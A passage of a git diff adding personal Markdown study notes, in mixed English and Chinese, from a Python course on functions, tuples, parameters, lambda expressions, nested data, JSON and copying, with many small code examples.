+-------------------------------------- +"Global frame" "function" + square square(x) +sum_of_squares sum_of_squares(x, y, z) + a -5 + b 2 + c 10 +--------------------- +"sum_of_squares" + x -5 + y 2 + z 10 + a 25 + b 4 +--------------------- +"square" + x 10 + y 100 + Return + value 100 + +two groups of local variables: +- square, sum_of_squares. +- Each group of local variables is called a stack frame. +- The variables x, y are local variables in both functions. but completely different variables, even though they have the same name. Each function invocation creates a new frame, and variables are looked up in that frame. +``` + + +```py + +1. + + def addit(x): + return x+5 + def mult(x): + return x*addit(x) + + print(mult(1)) + + +2. + + def most_common_letter(s): + frequencies = count_freqs(s) + return best_key(frequencies) + + def count_freqs(st): + d = {} + for c in st: + if c not in d: + d[c] = 0 + d[c] = d[c] + 1 + return d + + def best_key(dictionary): + ks = dictionary.keys() + best_key_so_far = list(ks)[0] # Have to turn ks into a real list before using [] to select an item + for k in ks: + if dictionary[k] > dictionary[best_key_so_far]: + best_key_so_far = k + return best_key_so_far + + print(most_common_letter("abbbbbbbbbbbccccddddd")) +``` + +--- + +## 12.11. Flow of Execution Summary + +`the flow of execution`: the order in which statements are executed. + +### print vs return + +the result of the function call + +1. Save it for later. + - Assigned to a variable. For example, w = square(3) + - Put in a list. For example, L.append(square(3)) + - Put in a dictionary. For example, d[3] = square(3) + +2. Use it in a more complex expression. + - the return value as replacing the entire text of the function invocation. + - For example: + - w = square(square(3) + 7) - 5 + - return value 9 replacing the text square(3) in that invocation, so it becomes square(9 + 7) -5. + +3. Print it for human consumption. + - For example, print(square(3)) outputs 9 to the output area. Note that, unless the return value is first saved as in possibility 1, it will be available only to the humans watching the output area, not to the program as it continues executing. + +--- + +## 15.4. 👩‍💻 Programming With Style + +Readability is very important +- use 4 spaces for `indentation` +- `imports` should go at the top of the file +- `separate function` definitions with two blank lines +- keep `function definitions` together +- keep top level statements, including function calls, together at the bottom of the program + + +-- + +# example: + +```py + +1. count() + + def count(obj, lst): + count = 0 + for e in lst: + if e == obj: + count = count + 1 + return count + +2. in() + + def is_in(obj, lst): # cannot be called in() because in is a reserved keyword + for e in lst: + if e == obj: + return True + return False + +3. reverse() + + def reverse(lst): + reversed = [] + for i in range(len(lst)-1, -1, -1): # step through the original list backwards + reversed.append(lst[i]) + return reversed + +4. find the index. + + def index(obj, lst): + for i in range(len(lst)): + if lst[i] == obj: + return i + return -1 + +5. insert object in the index. + + def insert(obj, index, lst): + newlst = [] + for i in range(len(lst)): + if i == index: + newlst.append(obj) + newlst.append(lst[i]) + return newlst + + +# 4. Write a function, test, that takes in three parameters: a required integer, +# an optional boolean whose default value is True, and an optional dictionary, +# called dict1, whose default value is {2:3, 4:5, 6:8}. If the boolean parameter is True, +# the function should test to see if the integer is a key in the dictionary. +# The value of that key should then be returned. If the boolean parameter is False, return the boolean value “False”. + +def test(x, abool = True, dict1 = {2:3, 4:5, 6:8}): + return abool and dict1.get(x, False) +``` + +--- + +## Storing Functions in Modules + +```py +pizza.py: + +def make_pizza(size, *toppings): + print(f"\nMaking a {size}-inch pizza with the following toppings:") + for topping in toppings: + print(f"- {topping}") +``` + + +1. Importing an Entire Module: `module.function()` + +```py +import pizza +pizza.make_pizza(16, 'pepperoni') +pizza.make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') +``` + + +2. Importing Specific Functions: `from module import function_0, function_1, function_2` + +```py +from pizza import make_pizza + +make_pizza(16, 'pepperoni') +make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') +``` + +3. Using as to Give a Module an Alias: i`mport module as mn` + +```py +import pizza as p + +p.make_pizza(16, 'pepperoni') +p.make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') +``` + +4. Using as to Give a Function an Alias: `from module import function as fn` + +```py +from pizza import make_pizza as mp + +mp(16, 'pepperoni') +mp(12, 'mushrooms', 'green peppers', 'extra cheese') +``` + + +5. Importing All Functions in a Module: `from module import *` + +```py +from pizza import * +make_pizza(16, 'pepperoni') +make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') +``` +--- + +# method + +## 15.5. Method Invocations + +one other special type of function called a `method` +- invoked slightly differently. +- Some object types have methods defined for them. + - `strings` (e.g., find, index, split, join) + - `lists` (e.g., append, pop). + +To invoke a method: + +`.()` +- The expression to the left of the dot should evaluate to an `object` of the correct type, an object for which is defined. +- The method will be applied to that object (that object will be a parameter value passed to the function/method.) +- If the method takes additional parameters, additional expressions that evaluate to values are included inside the parentheses. + +```py + +1. + y = "This is a sentence" + z = y.split() + print(type(z)) # + print(z) # ['This', 'is', 'a', 'sentence'] + +2. The thing to the left of the period can be any expression, variable name, return value from other function call or method invocation. + + print("sentence".replace("s", "").replace("t", "")) + # + enence +``` + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.13.0.Tuple-Packing-Unpacking.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.13.0.Tuple-Packing-Unpacking.md new file mode 100644 index 00000000000..e98f7478790 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.13.0.Tuple-Packing-Unpacking.md @@ -0,0 +1,173 @@ + +# 13. Tuple 元组 Packing and Unpacking + +[toc] + +## 13.1. Introduction +tuples, a sequence type that works just like lists except that they are immutable. + +When working with multiple `values` or multiple `variable names`, the Python interpreter does some `automatic packing and unpacking` to and from tuples, which allows some simplifications in the code you write. + +## 13.2. Tuple Packing +Wherever python expects a `single value`, if multiple expressions are provided, separated by commas, they are *automatically packed into a tuple*. + +Example + +```py +1. omit the parentheses when assigning a tuple of values to a single variable. + + julia = ("Julia", "Roberts", 1967, "Duplicity", 2009) + # or equivalently + julia = "Julia", "Roberts", 1967, "Duplicity", 2009 + print(julia[4]) + 2009 +``` + +--- + +## 13.3. Tuple Unpacking + +assignment statement: + +`tuple of variable names` to be assigned values from a `tuple on the right of the assignment`. +- the tuple of values is unpacked into the variable names. + +also works with `lists`, or any other sequence type, as long as there is exactly one value for each variable. For example, you can write `x, y = [3, 4]`. + +```py + +(variable names) = (values) + +1. + julia = "Julia", "Roberts", 1967, "Duplicity", 2009, "Actress", "Atlanta, Georgia" + name, surname, birth_year, movie, movie_year, profession, birth_place = julia + print(name) + julia + + +2. variable names on the left side!! + + name, surname, birth_year, movie, movie_year, profession, birth_place="Julia", "Roberts", 1967, "Duplicity", 2009, "Actress", "Atlanta, Georgia" + + # "Julia", "Roberts", 1967, "Duplicity", 2009, "Actress", "Atlanta, Georgia" = name, surname, birth_year, movie, movie_year, profession, birth_place + # SyntaxError: can't assign to literal on line 7 + + +3. match + + (a, b, c, d) = (1, 2, 3) + # ValueError: need more than 3 values to unpack + (a, b, c, d) = (1, 2, 3, 4) + + +``` + +## 13.3.1. Swapping Values between Variables + +```py +a = 1 +b = 2 +(a, b) = (b, a) +print(a, b) +# +2 1 +``` + +--- + +## 13.3.2. Unpack tuple Into Iterator Variables + +`Multiple assignment` with `unpacking` is useful to iterate through a list of tuples. +- can unpack each tuple into several loop variables. + + +```py +authors = [('Paul', 'Resnick'), ('Brad', 'Miller'), ('Lauren', 'Murphy')] +for first_name, last_name in authors: + print("first name:", first_name, "last name:", last_name) + +the tuple ('Paul', 'Resnick') is unpacked 解包 into the two variables first_name and last_name +``` + +## 13.5. Unpack tuples as Arguments to Function Calls + +```py +def add(x, y): + return x + y + +z = (5, 4) + +# this line causes an error +print(add(z)) + +# this line will cause the values to be unpacked +print(add(*z)) + + +``` + +--- + +## 13.3.3. Enumerate Items in a Sequence + +```py + +1. lists + + fruits = ['BigBlueberry', 'pear', 'apricot', 'cherry', 'peach'] + + for item in enumerate(fruits): + + # to unpack the tuples + for idx, fruit in enumerate(fruits): + print(idx, fruit) + +2. dic + + pokemon = {'Rattata': 19, 'Machop': 66, 'Seel': 86, 'Volbeat': 86, 'Solrock': 126} + + # .items() !!!!! + # .items() dictionary method produces a sequence of tuples. + + for key, value in pokemon.items(): + +``` + +--- + +## 13.4. Tuples as Return Values + +```py +def name(x): + statement + return (c,a) # same + return [c,a] # same + return c,a # same + +It’s common to unpack the returned values into multiple variables. + +c.value, a.value = name(x) +# c.value = c +# a.value = a +``` + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.15.0.Advanced-Functions.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.15.0.Advanced-Functions.md new file mode 100644 index 00000000000..2be0d2ffb10 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.15.0.Advanced-Functions.md @@ -0,0 +1,309 @@ + +# 15. Advanced Function + +[toc] + + +## 必需参数 +- `必需参数`须以正确的顺序传入函数。调用时的数量必须和声明时的一样。 + +```py + +1. 必需参数 always be the first + + def greeting(name, greeting="Hello ", excl="!"): + return greeting + name + excl + + +2. 调用函数,必需参数不加参数会报错 + + def printme(str): + print (str) + return + + printme() + # + Traceback (most recent call last): + File "test.py", line 10, in + printme() + TypeError: printme() missing 1 required positional argument: 'str' +``` +--- + +## 15.1. Optional Parameters + +function definition specifies parameters and each function invocation provides exactly that many values. + +`optional parameters`: can be specified or omitted. +- When an optional parameter is omitted from a function invocation, the formal parameter is bound to a `default value`. +- When the optional parameter is included, then the formal parameter is bound to the value provided. + +Optional parameters are convenient when a function is almost always used in a simple way, but it’s nice to allow it to be used in a more complex way, with non-default values specified for the optional parameters. + + +默认参数 +- 调用函数时,如果没有传递参数,则会使用默认参数。 +When defining a function, specify a `default value` for a parameter. +That parameter then becomes an `optional parameter` when the function is called. + +to specify a default value +- use assignment statement in the parameter list. + + +```py + +1. 如果没有传入 age 参数,则使用默认值: + + def printinfo( name, age = 35 ): + print ("名字: ", name ". 年龄: ", age) + + printinfo( age=50, name="bob" ) + printinfo( name="runoob" ) + # + 名字: bob. 年龄: 50 + 名字: runoob. 年龄: 35 + + +2. + + initial = 7 + def f(x, y=3, z=initial): + print(str(x),str(y),str(z)) + f(2) # 2, 3, 7 + f(2, 5) # 2, 5, 7 + f(2, 5, 8) # 2, 5, 8 + f(2, x=5) # Runtime error since two different values are provided for x + +3. two tricky things + +the default value is determined at the time that the function is defined, not at the time that it is invoked. + + initial = 7 # this one work + def f(x, y =3, z=initial): + print(str(x),str(y),str(z)) + initial = 10 + f(2) # 2, 3, 7 + +if the default value is set to a mutable object (list,dic...) that object will be shared in all invocations of the function. +suggest that you never set a default value that is a mutable object. + + 1 def f(a, L=[]): # don't put default value to a mutable object + 2 L.append(a) + 3 return L + 4 + 5 print(f(1)) + 6 print(f(2)) + 7 print(f(3)) + 8 print(f(4, ["Hello"])) + 9 print(f(5, ["Hello"])) + # L keep changing + [1] + [1, 2] + [1, 2, 3] + ['Hello', 4] + ['Hello', 5] + +``` + +--- + +## 15.2. Keyword Parameters 关键字参数 +- `关键字参数`和函数调用关系紧密,函数调用使用关键字参数来确定传入的参数值。 +- 使用关键字参数 **允许函数调用时参数的顺序与声明时不一致**,因为 Python 解释器能够用参数名匹配参数值。 + +particularly convenient when there are several optional parameters and you want to provide a value for one of the later parameters while not providing a value for the earlier ones. + +*required parameter* always be the front, then *optional parameter* +- make sure `positional arguments` will point to *required parameter* first + +```py +1. error + def waste(var="Water", mar, marble="type"): + +2. required parameter first + def waste(mar, var="Water", marble="type"): +``` + +```py + +1. keyword arguments, keyword 不需要使用指定顺序: + def printinfo( name, age ): + + print ("名字: ", name) + print ("年龄: ", age) + return + + printinfo( age=50, name="runoob" ) + # + 名字: runoob + 年龄: 50 + + +2. "positional arguments" (1 by 1) mix "keyword arguments" (match) + +def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'): + print("1. This parrot wouldn't " + action,) + print("2. if you put " + str(voltage) + "volts through it.") + print("3. Lovely plumage, the " + type) + print("4. It's " + state + "!"+'\n') + +parrot(1000) # 1 positional argument +1. This parrot wouldnt voom # action='voom' +2. if you put 1000volts through it. voltage=1000 +3. Lovely plumage, the Norwegian Blue # type='Norwegian Blue' +4. Its a stiff! # state='a stiff' + +parrot(voltage=1000) # 1 keyword argument +1. This parrot wouldnt voom # action='voom' +2. if you put 1000volts through it. voltage=1000 +3. Lovely plumage, the Norwegian Blue # type='Norwegian Blue' +4. Its a stiff! # state='a stiff' + +parrot(voltage=1000000, action='VOOOOOM') # 2 keyword arguments +1. This parrot wouldnt VOOOOOM action='VOOOOOM' +2. if you put 1000000volts through it. voltage=1000000 +3. Lovely plumage, the Norwegian Blue +4. Its a stiff! + +parrot(action='VOOOOOM', voltage=1000000) # 2 keyword arguments +1. This parrot wouldnt VOOOOOM action='VOOOOOM' +2. if you put 1000000volts through it. voltage=1000000 +3. Lovely plumage, the Norwegian Blue +4. Its a stiff! + +# def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'): +parrot('a million', 'bereft of life', 'jump') # 3 positional arguments +1. This parrot wouldnt jump action='jump' +2. if you put a millionvolts through it. voltage='a million' +3. Lovely plumage, the Norwegian Blue # type='Norwegian Blue' +4. Its bereft of life! state='bereft of life' + +parrot('a thousand', state='pushing up the daisies') # 1 positional, 1 keyword +1. This parrot wouldn't voom +2. if you put a thousandvolts through it. voltage='a thousand' +3. Lovely plumage, the Norwegian Blue +4. Its pushing up the daisies! state='pushing up the daisies' +``` + +### 15.2.1. Keyword Parameters with `'xxx {}'.format(n)` + +```py +use ".forma()" to specifically refer to keywords for interpolation values + +names_scores = [("Jack",[67,89,91]),("Emily",[72,95,42])] +for name, scores in names_scores: + print("The scores {nm} got were: {s1},{s2},{s3}." + .format(nm=name,s1=scores[0],s2=scores[1],s3=scores[2])) +# same +print("The scores {} got were: {},{},{}.".format(name,scores[0],scores[1],scores[2])) + + +4. + +# this works +names = ["Jack","Jill","Mary"] +for n in names: + print("'{}!' she yelled. '{}! {}, {}!'".format(n,n,n,"say hello")) + +'Jack!' she yelled. 'Jack! Jack, say hello!' + +# but this also works! +names = ["Jack","Jill","Mary"] +for n in names: + print("'{0}!' she yelled. '{0}! {0}, {1}!'".format(n,"say hello")) + +'Jack!' she yelled. 'Jack! Jack, say hello!' + +``` + + +--- +### 不定长参数 +- 你可能需要一个函数能处理比当初声明时更多的参数。这些参数叫做不定长参数 +- 和上述 2 种参数不同,声明时不会命名。 + +```py + +def functionname([formal_args,] *var_args_tuple ): + function_suite + return [expression] + + +1. 加了星号 * 的参数会以元组(tuple)的形式导入,存放所有未命名的变量参数。 + + def printinfo( arg1, *vartuple ): + print (arg1) + print (vartuple) + printinfo( 70, 60, 50 ) + # 输出结果: + 70 + (60, 50) + +#-------------------------------------------------- +# 如果在函数调用时没有指定参数,它就是一个空元组。 +#-------------------------------------------------- + +2. 也可以不向函数传递未命名的变量。 + + def printinfo( arg1, *vartuple ): + print (arg1) + for var in vartuple: + print (var) + return + printinfo( 10 ) + printinfo( 70, 60, 50 ) + # + 10 + # + 70 + 60 + 50 + + +3. 加了两个星号 ** 的参数会以字典的形式导入。 + + def functionname([formal_args,]**var_args_dict ): + function_suite + return [expression] + + def printinfo( arg1, **vardict ): + print (arg1) + print (vardict) + printinfo(1, a=2,b=3) + # + 1 + {'a': 2, 'b': 3} + + +4. 参数中星号 * 可以单独出现 + + def f(a,b,*,c): + return a+b+c # * 后的参数必须用关键字传入。 + + >>> f(1,2,c=3) # 正常, * 后的参数必须用关键字传入。 + 6 + + >>> f(1,2,3) # 报错 + Traceback (most recent call last): + File "", line 1, in + TypeError: f() takes 2 positional arguments but 3 were given +``` +--- +### 强制位置参数 +- Python3.8 新增了一个函数形参语法 +- 用来指明函数形参, 必须使用指定位置参数,不能使用关键字参数的形式。 + +以下的例子中,形参 a&b 必须使用`指定位置参数`,c/d 可以是`位置形参`或`关键字形参`,而 e/f 要求为`关键字形参`: + +```py +def f(a, b, /, c, d, *, e, f): + print(a, b, c, d, e, f) +# 以下使用方法是正确的: +f(10, 20, 30, d=40, e=50, f=60) + +# 以下使用方法会发生错误: +# b 不能使用关键字参数的形式 +f(10, b=20, c=30, d=40, e=50, f=60) +# e 必须使用关键字参数的形式 +f(10, 20, 30, 40, 50, f=60) +``` diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.15.3.Anonymous-functions-lambda.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.15.3.Anonymous-functions-lambda.md new file mode 100644 index 00000000000..cf70be3d525 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.15.3.Anonymous-functions-lambda.md @@ -0,0 +1,125 @@ + +# 15.3. Anonymous functions with lambda expressions + +[toc] + +## 匿名函数 + +- 匿名函数: +- *不使用 def 语句* 标准形式定义一个函数。 +- 使用 `lambda` 来创建匿名函数。 +- `lambda`: + - 只是一个表达式,函数体比 def 简单很多。 + - 主体是一个表达式,而不是一个代码块。仅仅能在lambda表达式中封装有限的逻辑进去。 + - lambda 函数拥有自己的命名空间,且不能访问自己参数列表之外或全局命名空间里的参数。 + - 虽然lambda函数看起来只能写一行,却不等同于C或C++的内联函数,后者的目的是调用小函数时不占用栈内存从而增加运行效率。 +语法 + + +```py +def fname(arguments): + return value + +fname = lambda arguments: value +``` + +![lambda](https://i.imgur.com/44ibBbL.gif) + + + +```py + +1. + def f(x): + return x - 1 + + print(f) # + print(type(f)) # + print(f(3)) # 2 + + print(lambda x: x-2) # > + print(type(lambda x: x-2)) # + print((lambda x: x-2)(6)) # 4 + + +2. lambda 函数的语法只包含一个语句: + lambda [arg1 [,arg2,.....argn]]:expression + + # 实例: + sum = lambda arg1, arg2: arg1 + arg2 + print ("sum= ", sum( 10, 20 )) + # + sum=30 + +3. + + together= lambda num,abc,x=" ":x.join([str(num),abc]) + + def together(num,abc,x=" "): + return x.join([str(num),abc]) + +``` + +--- + +## 16.6. 👩‍💻 When to use Lambda + + +1. sorting a dictionary’s keys by properties of its values. + +```py + states = {"Minnesota": ["St. Paul", "Minneapolis", "Saint Cloud", "Stillwater"], + "Michigan": ["Ann Arbor", "Traverse City", "Lansing", "Kalamazoo"], + "Washington": ["Seattle", "Tacoma", "Olympia", "Vancouver"]} + + print(sorted(states, key=lambda state: len(states[state][0]))) +``` + +2. second sort order + - sort by the number of cities that begin with the letter ‘S’. + - The function requiring a `filter` and `count accumulation` pattern. + - So better + - make a lambda expression: looks up the value associated with the particular state and pass that value to the named function s_cities_count. + + +```py + + def s_cities_count(city_list): + ct = 0 + for city in city_list: + if city[0] == "S": + ct += 1 + return ct + + states = {"Minnesota": ["St. Paul", "Minneapolis", "Saint Cloud", "Stillwater"], + "Michigan": ["Ann Arbor", "Traverse City", "Lansing", "Kalamazoo"], + "Washington": ["Seattle", "Tacoma", "Olympia", "Vancouver"]} + + print(sorted(states, key=lambda state: s_cities_count(states[state]) ) ) + +``` + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.17.0.Nested-Data-and-Iteration.md b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.17.0.Nested-Data-and-Iteration.md new file mode 100644 index 00000000000..b0b06179a8b --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.17.0.Nested-Data-and-Iteration.md @@ -0,0 +1,524 @@ + +# 17. Nested Data and Nested Iteration + +[toc] + +## 17.1. Intro + +### 17.1.1. nested Lists + +```py + +1. nested list + + nested1 = [['a', 'b', 'c'],['d', 'e'],['f', 'g', 'h']] + +2. With nested list, can make complex expressions to get or set a value in a sub-list. + + y = nested1[1] # ['d', 'e'] + print(y[0]) # d + print([10, 20, 30][1]) # 20 + print(nested1[1][0]) # d + +3. The complex items in a list do not have to be lists. They can be tuples or dictionaries. The items in a list do not all have to be the same type. + + nested2 = [{'a': 1, 'b': 3}, {'a': 5, 'c': 90, 5: 50}, {'b': 3, 'c': "yes"}] + + +4. a list of functions (!). + + def square(x): + return x*x + + L = [square, abs, lambda x: x+1] + + print("****names****") + for f in L: print(f) + + print("****call each of them****") + for f in L: print(f(-2)) + + print("****just the first one in the list****") + print(L[0]) # + print(L[0](3)) # 9 +``` + +### 17.2. Nested Dictionaries + +it is often useful to have a list or a dictionary as a value in a dictionary. And of course, those lists or dictionaries can also contain lists and dictionaries. There can be many layers of nesting. +- Only the values in dictionaries can be objects of arbitrary type. +- The keys in dictionaries must be one of the immutable data types (numbers, strings, tuples). + +```py +info = {'personal_data': + {'name': 'Lauren', + 'age': 20, + 'major': 'Information Science', + 'physical_features': + {'color': {'eye': 'blue', + 'hair': 'brown'}, + 'height': "5'8"} + }, + 'other': + {'favorite_colors': ['purple', 'green', 'blue'], + 'interested_in': ['social media', 'intellectual property', 'copyright', 'music', 'books'] + } + } + +color=info['personal_data']['physical_features']['color'] +``` + +--- + +## 17.3. Processing JSON results + +`JSON`: `JavaScript Object Notation`. +- like the representation of nested dictionaries and lists in python when we write them out as literals in a program, but with a few small differences (e.g., the word null instead of None). +- When program receives a `JSON-formatted string`, convert it into a python `object/list/ dictionary.` + +python provides a module for doing this. +- `json` +- two functions in this module: `loads` and `dumps`. +- `json.loads()`: takes a string as input and produces a python object (a dictionary or a list) as output. +- `json.dumps()`: inverse of `loads()`. It takes a python object, typically a dictionary or a list, and returns a string, in JSON format. + - It has a few other parameters. + - Two useful parameters are `sort_keys` and `indent`. + - `sort_keys parameter=True`: the keys of dictionaries are output in alphabetic order with their values. + - `indent` parameter: an integer. + +```py + +1. some data from Apple’s iTunes, in the JSON format: + + import json + + a_string = '\n\n\n{\n "resultCount":25,\n "results": [\n{"wrapperType":"track", "kind":"podcast", "collectionId":10892}]}' + print(a_string) + # + { + "resultCount":25, + "results": [ + {"wrapperType":"track", "kind":"podcast", "collectionId":10892}]} + + b_string = json.loads(a_string) + print(b_string) + # {'resultCount': 25, 'results': [{'wrapperType': 'track', 'kind': 'podcast', 'collectionId': 10892}]} + print(type(b_string)) # + print(b_string.keys()) # ['resultCount', 'results'] + + print(b_string['resultCount']) + # 25 + print(a_string['resultCount']) + # TypeError: string indices must be integers, not str on line 10 + + +2. uses json.dumps to make a human-readable printout of a nested data structure. + + import json + + def pretty(obj): + return json.dumps(obj, sort_keys=True, indent=2) + + d = {'key1': {'c': True, 'a': 90, '5': 50}, 'key2':{'b': 3, 'c': "yes"}} + + print(d) + {'key1': {'c': True, 'a': 90, '5': 50}, 'key2': {'c': 'yes', 'b': 3}} + print(pretty(d)) + {"key1":{"5":50,"a":90,"c":true},"key2":{"b":3,"c":"yes"}} + +``` + +--- + +### 17.4. Nested Iteration + +```py + +1. for nested data structures (lists/dictionaries/...), will frequently need nested for loops to traverse. + + nested1 = [['a', 'b', 'c'],['d', 'e'],['f', 'g', 'h']] + for x in nested1: + print("level1: ") + for y in x: + print(" level2: " + y) + # + level1: + level2: a + level2: b + level2: c + level1: + level2: d + level2: e + level1: + level2: f + level2: g + level2: h +``` + +--- + +### 17.5. 👩‍💻 Structuring Nested Data + +```py + +1. constructing nested data + good idea to keep the structure consistent across each level. + like for a list of dictionaries, each dictionary should have the same structure, + any deviation in the structure, require extra code to handle those special cases. + more the structure deviates, the more will have to use special cases. + + nested1 = [1, 2, ['a', 'b', 'c'],['d', 'e'],['f', 'g', 'h']] + for x in nested1: + print("level1: ") + + if type(x) is list: # extra code to handle those special cases + + for y in x: # TypeError: 'int' object is not iterable on line 4 + print(" level2: {}".format(y)) + +``` + +--- + +### 17.6. Deep and Shallow Copies + +`cloning and aliasing lists`: using `[:]` making shallow copies (copying a list at the highest level) + +for nested data, nested lists: can have second-level aliasing in these cases, which means we need to make deep copies. + +```py + +1. use ":" + + original = [['dogs', 'puppies'], ['cats', "kittens"]] + + copied_version = original[:] + print(copied_version is original) # False + print(copied_version == original) # True + + original[0].append(["canines"]) # will be colon + original.append(["hi"]) # will not be colon + + print(original) + print(copied_version) + # + [['dogs', 'puppies', ['canines']], ['cats', 'kittens'], ['hi']] + -------- Now look at the copied version ----------- + [['dogs', 'puppies', ['canines']], ['cats', 'kittens']] + + + +2. "nested iteration": avoid have aliased lists inside nested list. + + original = [['dogs', 'puppies'], ['cats', "kittens"]] + copied_outer_list = [] + + for inner_list in original: + copied_inner_list = [] + for item in inner_list: + copied_inner_list.append(item) + copied_outer_list.append(copied_inner_list) + # or + for inner_list in original: + copied_inner_list = inner_list[:] + copied_outer_list.append(copied_inner_list) + + print(copied_outer_list) + original[0].append(["canines"]) + print(original) + print("-------- Now look at the copied version -----------") + print(copied_outer_list) + # + [['dogs', 'puppies'], ['cats', 'kittens']] + [['dogs', 'puppies', ['canines']], ['cats', 'kittens']] + -------- Now look at the copied version ----------- + [['dogs', 'puppies'], ['cats', 'kittens']] + + +3. to make a copy of a nested list more than two levels + recommend "copy module", with method "deepcopy" + + import copy + original = [['canines', ['dogs', 'puppies']], ['felines', ['cats', 'kittens']]] + shallow_copy_version = original[:] + deeply_copied_version = copy.deepcopy(original) + + original.append("Hi there") + original[0].append(["marsupials"]) + + print("-------- Original -----------") + print(original) + print("-------- deep copy -----------") + print(deeply_copied_version) + print("-------- shallow copy -----------") + print(shallow_copy_version) + # + -------- Original ----------- + [['canines', ['dogs', 'puppies'], ['marsupials']], ['felines', ['cats', 'kittens']], 'Hi there'] + -------- deep copy ----------- + [['canines', ['dogs', 'puppies']], ['felines', ['cats', 'kittens']]] + -------- shallow copy ----------- + [['canines', ['dogs', 'puppies'], ['marsupials']], ['felines', ['cats', 'kittens']]] +``` + +--- + +### 17.7. 👩‍💻 Extracting from Nested Data + +A common problem, especially when dealing with data returned from a web site, is to extract certain elements from deep inside a nested data structure. + +pulling something out from deep inside a nested data structure: +- with lists: use `[] to index` or a `for loop` to get them them all; +- with dictionaries: get the value associated with a particular `key` using `[]` or `iterate` through all the keys, accessing the value for each. + +avoid get lost in the process and extracted something different +- created a usable technique to help you during the debugging process. + +extracting nested data. The process involves the following steps: +- Understand the nested data object. +- Extract one object at the next level down. +- Repeat the process with the extracted object + + +#### 17.7.1. Understand + +extracting information from data formatted return by the Twitter API. +1. This nested dictionary results from querying Twitter, asking for three tweets matching “University of Michigan”. + - make sure you understand the current object you have extracted +2. Print the entire object. + - small enough: printout directly. + - little bit larger: “pretty-print” it, with indentation showing the level of nesting of the data. + - running code with a full Python interpreter, use the `dumps()` function in the `json` module. +3. If printing the entire object gives you something that’s too unwieldy, you have other options for making sense of it. + - Copy and paste it to a site like https://jsoneditoronline.org/ which will let you explore and collapse levels + - Print the type of the object. + - If it’s a dictionary: print the keys + - If it’s a list: + - print its length + - print the type of the first item + - print the first item if it’s of manageable size + +```py +import json +print(json.dumps(res, indent=2)[:100]) +print("-----------") +print(type(res)) +print(res.keys()) +# {"search_metadata":{"count":3,"completed_in":0.015,"max_id_str":"536624519285583872","since_id_str": +----------- + +['search_metadata', 'statuses'] + +``` + +#### 17.7.2. Extract + +1. If it’s a dictionary, figure out which key has the value you’re looking for, and get its value. For example: `res2 = res['statuses']` + +2. If it’s a list, typically need to do something with each of the items (e.g., extracting something from each, and accumulating them in a list). + - For that you’ll want a for loop: `for res2 in res` + - it will be easier to debug things when work with just one item. + - iterate over a slice of the list containing just one item: `for res2 in res[:1]` + +```py +print(type(res)) +print(res.keys()) +res2 = res['statuses'] +# + +['search_metadata', 'statuses'] +``` + + +#### 17.7.3. Repeat + +##### 17.7.3.1. Level 2 + +```py + +1. start again, check type, print out the values + res2 is a list + + print(type(res)) # + print(res.keys()) # ['search_metadata', 'statuses'] + // res={'search_metadata':xxx, 'statuses':res2} + + print("----Level 2-----") + res2 = res['statuses'] # one of the key 'statuses' + print(type(res2)) # + print(len(res2)) # 3 + // res2= [ 1xx, 2xx, 3xx] + + +2. a list: need to work with each item + // res2= [ 1dic, 2dic, 3dic] + + # looks like one item representing each of the three tweets + for res3 in res2[:1]: # just print the first item index 0 + print("----Level 3: a tweet----") + print(json.dumps(res3, indent=2)[:30]) + print(type(res3)) # + print(res3.keys()) # ['id', 'id_str', 'entities', 'lang', 'created_at', 'contributors', 'truncated', 'text', 'in_reply_to_status_id', 'favorite_count', 'source', 'retweeted', 'coordinates', 'in_reply_to_screen_name', 'in_reply_to_user_id', 'retweet_count', 'favorited', 'user', 'geo', 'in_reply_to_user_id_str', 'in_reply_to_status_id_str', 'place', 'metadata', 'retweeted_status'] + + +3. pull out the information about who sent each of the tweets, the value associated with the ‘user’ key. + // res3= {'id', 'id_str', 'entities', 'lang', 'created_at', 'contributors', 'truncated', 'text', 'in_reply_to_status_id', 'favorite_count', 'source', 'retweeted', 'coordinates', 'in_reply_to_screen_name', 'in_reply_to_user_id', 'retweet_count', 'favorited', 'user', 'geo', 'in_reply_to_user_id_str', 'in_reply_to_status_id_str', 'place', 'metadata', 'retweeted_status'} + + res4 = res3['user'] + print(type(res4)) # + print(res4.keys()) # ['id', 'id_str', 'screen_name', 'name', 'description', 'follow_request_sent', 'profile_use_background_image', 'profile_text_color', 'default_profile_image', 'profile_background_image_url_https', 'verified', 'profile_location', 'profile_image_url_https', 'profile_sidebar_fill_color', 'entities', 'followers_count', 'profile_sidebar_border_color', 'profile_background_color', 'listed_count', 'is_translation_enabled', 'utc_offset', 'statuses_count', 'friends_count', 'location', 'profile_link_color', 'profile_image_url', 'following', 'geo_enabled', 'profile_banner_url', 'profile_background_image_url', 'lang', 'profile_background_tile', 'favourites_count', 'notifications', 'url', 'created_at', 'contributors_enabled', 'time_zone', 'protected', 'default_profile', 'is_translator'] + +4. print out the user’s screen name and when their account was created. + + + print("----Level 4: the user who wrote the tweet----") + print(type(res4)) # it's a dictionary + print(res4.keys()) + 